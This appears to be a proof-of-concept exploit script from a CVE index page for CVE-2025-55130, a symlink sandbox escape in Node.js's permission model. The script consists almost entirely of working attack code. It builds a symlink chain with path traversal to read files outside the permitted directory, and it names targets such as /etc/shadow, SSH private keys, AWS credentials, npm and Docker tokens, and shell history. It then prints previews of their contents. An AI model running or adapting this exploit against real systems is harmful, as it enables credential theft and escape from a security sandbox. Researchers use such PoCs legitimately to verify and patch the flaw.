4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exfil.js JS
/*
 * CVE-2025-55130 - Mass File Exfiltration
 * 
 * Dump multiple sensitive files via symlink sandbox escape
 * 
 * Run: node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
 */

const fs = require('fs');
const os = require('os');

const HOME = os.homedir();

// Target list - common sensitive files on Linux
const TARGETS = [
    '/etc/passwd',
    '/etc/shadow',
    '/etc/hosts',
    '/etc/hostname',
    '/etc/os-release',
    '/etc/ssh/sshd_config',
    '/etc/crontab',
    '/etc/sudoers',
    '/proc/version',
    HOME + '/.ssh/id_rsa',
    HOME + '/.ssh/id_ed25519', 
    HOME + '/.ssh/authorized_keys',
    HOME + '/.bash_history',
    HOME + '/.zsh_history',
    HOME + '/.gitconfig',
    HOME + '/.npmrc',
    HOME + '/.aws/credentials',
    HOME + '/.docker/config.json'
];

const CHAIN = './exfil_chain/a/b/c/d/e/f';

console.log(`
 ===============================================
  CVE-2025-55130 // Mass Exfiltration
 ===============================================
  targets: ${TARGETS.length} files
  node:    ${process.version}
 ===============================================
`);

if (typeof process.permission === 'undefined') {
    console.log('[!] permission model not active');
    process.exit(1);
}

// Setup
try {
    fs.rmSync('./exfil_chain', { recursive: true, force: true });
} catch(e) {}

fs.mkdirSync(CHAIN, { recursive: true });
fs.symlinkSync(__dirname, CHAIN + '/link');

const depth = __dirname.split('/').filter(Boolean).length;
const traversal = '../'.repeat(depth);

// Exfil function
function exfil(target) {
    const payload = `${CHAIN}/link/${traversal}${target.replace(/^\//, '')}`;
    try {
        return fs.readFileSync(payload, 'utf8');
    } catch(e) {
        return null;
    }
}

// Run exfil
console.log('[*] starting exfiltration...\n');

let success = 0;
let failed = 0;
const results = {};

TARGETS.forEach(target => {
    process.stdout.write(`[*] ${target} ... `);
    const data = exfil(target);
    
    if (data !== null) {
        results[target] = {
            size: data.length,
            lines: data.split('\n').length,
            preview: data.substring(0, 80).replace(/\n/g, '\\n')
        };
        console.log(`OK (${data.length} bytes)`);
        success++;
    } else {
        console.log('FAILED');
        failed++;
    }
});

// Report
console.log(`
 ===============================================
  EXFIL REPORT
 ===============================================
  success: ${success}
  failed:  ${failed}
 ===============================================
`);

if (success > 0) {
    console.log('[+] VULNERABLE - data extracted:\n');
    
    Object.entries(results).forEach(([file, info]) => {
        console.log(`  ${file}`);
        console.log(`    size: ${info.size} bytes | lines: ${info.lines}`);
        console.log(`    preview: ${info.preview}...`);
        console.log('');
    });
}

// Cleanup
fs.rmSync('./exfil_chain', { recursive: true, force: true });